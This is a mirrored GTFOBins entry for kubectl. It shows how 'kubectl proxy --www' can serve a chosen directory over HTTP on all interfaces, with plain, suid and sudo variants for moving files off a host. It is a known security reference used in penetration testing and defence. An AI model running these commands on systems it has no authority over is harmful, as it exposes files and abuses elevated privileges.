mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 23:38:29 +01:00
89e2aa180e
Also see https://www.lacework.com/blog/kubernetes-tools-are-helpful-for-your-team-and-your-attacker/ Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
17 lines
527 B
Markdown
17 lines
527 B
Markdown
---
|
|
description: It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.
|
|
functions:
|
|
file-upload:
|
|
- code: |
|
|
LFILE=dir_to_serve
|
|
kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
|
|
suid:
|
|
- code: |
|
|
LFILE=dir_to_serve
|
|
./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
|
|
sudo:
|
|
- code: |
|
|
LFILE=dir_to_serve
|
|
sudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
|
|
---
|